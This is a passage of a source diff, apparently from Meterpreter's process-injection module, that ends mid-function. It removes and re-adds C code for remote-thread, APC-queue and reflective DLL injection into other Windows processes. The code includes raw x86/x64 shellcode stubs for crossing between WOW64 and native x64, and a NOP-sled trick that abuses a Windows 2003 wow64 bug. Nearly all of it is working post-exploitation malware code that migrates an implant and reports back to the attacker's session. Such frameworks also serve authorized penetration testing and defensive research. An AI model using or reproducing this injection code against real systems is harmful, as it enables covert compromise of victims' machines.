-DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) -{ - DWORD dwResult = ERROR_SUCCESS; - EXECUTEX64 pExecuteX64 = NULL; - X64FUNCTION pX64function = NULL; - WOW64CONTEXT * ctx = NULL; - OSVERSIONINFO os = {0}; - - do - { - os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); - - if( !GetVersionEx( &os ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) - - // filter out Windows 2003 - if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) - } - - // alloc a RWX buffer in this process for the EXECUTEX64 function - pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pExecuteX64 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - - // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) - pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pX64function ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - - // copy over the wow64->x64 stub - memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); - - // copy over the native x64 function - memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); - - // set the context - ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); - - ctx->h.hProcess = hProcess; - ctx->s.lpStartAddress = lpStartAddress; - ctx->p.lpParameter = lpParameter; - ctx->t.hThread = NULL; - - dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); - - // Transition this wow64 process into native x64 and call pX64function( ctx ) - // The native function will use the native Win64 API's to create a remote thread in the target process. - if( !pExecuteX64( pX64function, (DWORD)ctx ) ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) - } - - if( !ctx->t.hThread ) - { - SetLastError( ERROR_INVALID_HANDLE ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) - } - - // Success! grab the new thread handle from of the context - *pThread = ctx->t.hThread; - - dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); - - } while( 0 ); - - if( pExecuteX64 ) - VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); - - if( pX64function ) - VirtualFree( pX64function, 0, MEM_DECOMMIT ); - - return dwResult; -} - -/* - * Attempte to gain code execution in the remote process by creating a remote thread in the target process. - */ -DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) -{ - DWORD dwResult = ERROR_SUCCESS; - DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; - HANDLE hThread = NULL; - - do - { - // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread - // fails, giving us a chance to try an alternative method or fail migration gracefully. - hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); - if (!hThread) - { - if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) - { - dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; - - if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") - } - } - else - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") - } - } - else - { - dprintf("[INJECT] inject_via_remotethread: succeeded"); - } - - if (remote && response) - { - dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..."); - // Send a successful response to let the ruby side know that we've pretty - // much successfully migrated and have reached the point of no return - packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); - packet_transmit_response(ERROR_SUCCESS, remote, response); - - dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); - // Sleep to give the remote side a chance to catch up... - Sleep(2000); - } - - dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); - // Resume the injected thread... - if (ResumeThread(hThread) == (DWORD)-1) - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") - } - - } while (0); - - if (hThread) - { - CloseHandle(hThread); - } - - SetLastError(dwResult); - - return dwResult; -} - -/* - * Inject a DLL image into a process via Reflective DLL Injection. - * - * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for - * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() - * in stdapi will handle this automatically. - * - * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's - * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() - * will check for this and fail gracefully. - * - * Note: This function largely depreciates LoadRemoteLibraryR(). - */ -DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; - LPVOID lpRemoteCommandLine = NULL; - HANDLE hProcess = NULL; - LPVOID lpRemoteLibraryBuffer = NULL; - LPVOID lpReflectiveLoader = NULL; - DWORD dwReflectiveLoaderOffset = 0; - - do - { - if( !lpDllBuffer || !dwDllLenght ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); - - // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); - if( !dwReflectiveLoaderOffset ) - BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); - - hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); - if( !hProcess ) - BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); - - if( cpCommandLine ) - { - // alloc some space and write the commandline which we will pass to the injected dll... - lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); - if( !lpRemoteCommandLine ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); - - if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); - } - - // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteLibraryBuffer ) - BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); - - // write the image into the host process... - if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); - - // add the offset to ReflectiveLoader() to the remote library address... - lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); - - // First we try to inject by directly creating a remote thread in the target process - if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - { - dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); - - // If that fails we can try to migrate via a queued APC in the target process - if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) - BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) - } - - dwResult = ERROR_SUCCESS; - - } while( 0 ); - - if( hProcess ) - CloseHandle( hProcess ); - - return dwResult; -} +#include "metsrv.h" +#include "base_inject.h" +#include "remote_thread.h" +#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include + +// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 +// found and fixed by ReWolf, incorporated by RaMMicHaeL +BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" + "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" + "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" + "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" + "\x24"; + +// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' +BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" + "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" + "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" + "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" + "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" + "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" + "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" + "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" + "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" + "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" + "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" + "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" + "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" + "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" + "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" + "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" + "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; + +// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' +BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" + "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" + "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" + "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" + "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" + "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" + "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" + "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" + "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" + "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" + "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" + "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" + "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" + "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00"; + +// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' +BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" + "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" + "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" + "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" + "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" + "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" + "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" + "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" + "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" + "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" + "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" + "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" + "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" + "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" + "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" + "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" + "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00"; + +/* + * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread + * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe + */ +DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; + NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + LIST * thread_list = NULL; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; + + do + { + thread_list = list_create(); + if( !thread_list ) + break; + + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; + + t.dwSize = sizeof( THREADENTRY32 ); + + // Get the architecture specific apc migration stub... + if( dwDestinationArch == PROCESS_ARCH_X86 ) + { + if( dwMeterpreterArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x86(wow64) + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such + // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. + + // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. + + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + } + else + { + // injecting x86->x86 + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof( apc_stub_x86 ); + } + } + else if( dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x64 (and the same stub for x86(wow64)->x64) + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof( apc_stub_x64 ); + + if( dwMeterpreterArch == PROCESS_ARCH_X86 ) + { + // injecting x86(wow64)->x64 + + // For now we leverage a bug in wow64 to get x86->x64 injection working, this + // will simply fail gracefully on systems where the technique does not work. + + MEMORY_BASIC_INFORMATION mbi = {0}; + LPVOID lpRemoteAddress = NULL; + BYTE * lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + + /* + // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // however the start address of the new APC in the native x64 process is not what we specify but instead it is + // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc + // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there + // injection will continue as normal. + + // The registers on the native x64 process after the queued APC is attempted to run: + rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process + rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) + rdx = dwApcStatusBlock // unused + r8 = dwApcReserved // unused + + // On the WOW64 process side: + wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine + wow64:000000006B0095F0 + wow64:000000006B0095F0 public Wow64ApcRoutine + + // On the native x64 process side: + ntdll:0000000077EF30A0 public KiUserApcDispatcher + ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value + ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock + ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved + ntdll:0000000077EF30AE mov r9, rsp + ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! + + // Our bStub: + 00000000 4889C8 mov rax, rcx + 00000003 48C1E120 shl rcx, 32 + 00000007 48C1E920 shr rcx, 32 + 0000000B 48C1E820 shr rax, 32 + 0000000F FFE0 jmp rax + */ + + // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... + // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. + lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteAddress ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); + + if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); + + lpNopSled = (BYTE *)malloc( mbi.RegionSize ); + if( !lpNopSled ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); + + memset( lpNopSled, 0x90, mbi.RegionSize ); + + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) + + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + + free( lpNopSled ); + } + } + else + { + SetLastError( ERROR_BAD_ENVIRONMENT ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + } + + hNtdll = LoadLibraryA( "ntdll" ); + if( !hNtdll ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); + if( !pNtQueueApcThread ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + + hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); + if( !hThreadSnap ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + + if( !Thread32First( hThreadSnap, &t ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) + + // Allocate memory for the apc stub and context + lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteApcStub ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + + // Simply determine the apc context address + lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + + dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); + + // Write the apc stub to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) + + // Write the apc context to memory... + if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) + + do + { + HANDLE hThread = NULL; + + // Only proceed if we are targeting a thread in the target process + if( t.th32OwnerProcessID != dwProcessID ) + continue; + + // Open a handle to this thread so we can do the apc injection + hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); + if( !hThread ) + continue; + + dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); + + // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt + // a connection back but the client side will not be ready to accept it and we loose the session. + if( SuspendThread( hThread ) != (DWORD)-1 ) + { + list_push( thread_list, hThread ); + + // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target + // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. + // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. + if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dwResult = ERROR_SUCCESS; + } + else + { + dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + } + } + else + { + CloseHandle( hThread ); + } + + // keep searching for more target threads to inject our apc stub into... + + } while( Thread32Next( hThreadSnap, &t ) ); + + } while( 0 ); + + if( dwResult == ERROR_SUCCESS && remote && response ) + { + // We should only run this block if we are being used for migration... + + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); + packet_transmit_response( ERROR_SUCCESS, remote, response ); + + // Sleep to give the remote side a chance to catch up... + Sleep( 2000 ); + } + + if( thread_list ) + { + // Resume all the threads which we queued our apc into as the remote + // client side will now be ready to handle the new conenction. + while( TRUE ) + { + HANDLE t = (HANDLE)list_pop( thread_list ); + if( !t ) + break; + ResumeThread( t ); + CloseHandle( t ); + } + + list_destroy( thread_list ); + } + + if( hThreadSnap ) + CloseHandle( hThreadSnap ); + + if( hNtdll ) + FreeLibrary( hNtdll ); + + SetLastError( dwResult ); + + return dwResult; +} + +/* + * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) + * enviroment into a native x64 enviroment and accessing the native win64 API's. + * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new + * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out + * Windows 2003 from this method of injection, however the APC injection method will work on 2003. + */ +DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) +{ + DWORD dwResult = ERROR_SUCCESS; + EXECUTEX64 pExecuteX64 = NULL; + X64FUNCTION pX64function = NULL; + WOW64CONTEXT * ctx = NULL; + OSVERSIONINFO os = {0}; + + do + { + os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); + + if( !GetVersionEx( &os ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) + + // filter out Windows 2003 + if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) + } + + // alloc a RWX buffer in this process for the EXECUTEX64 function + pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pExecuteX64 ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) + + // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) + pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !pX64function ) + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) + + // copy over the wow64->x64 stub + memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); + + // copy over the native x64 function + memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); + + // set the context + ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); + + ctx->h.hProcess = hProcess; + ctx->s.lpStartAddress = lpStartAddress; + ctx->p.lpParameter = lpParameter; + ctx->t.hThread = NULL; + + dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); + + // Transition this wow64 process into native x64 and call pX64function( ctx ) + // The native function will use the native Win64 API's to create a remote thread in the target process. + if( !pExecuteX64( pX64function, (DWORD)ctx ) ) + { + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) + } + + if( !ctx->t.hThread ) + { + SetLastError( ERROR_INVALID_HANDLE ); + BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) + } + + // Success! grab the new thread handle from of the context + *pThread = ctx->t.hThread; + + dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); + + } while( 0 ); + + if( pExecuteX64 ) + VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); + + if( pX64function ) + VirtualFree( pX64function, 0, MEM_DECOMMIT ); + + return dwResult; +} + +/* + * Attempte to gain code execution in the remote process by creating a remote thread in the target process. + */ +DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) +{ + DWORD dwResult = ERROR_SUCCESS; + DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; + HANDLE hThread = NULL; + + do + { + // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread + // fails, giving us a chance to try an alternative method or fail migration gracefully. + hThread = create_remote_thread(hProcess, 1024 * 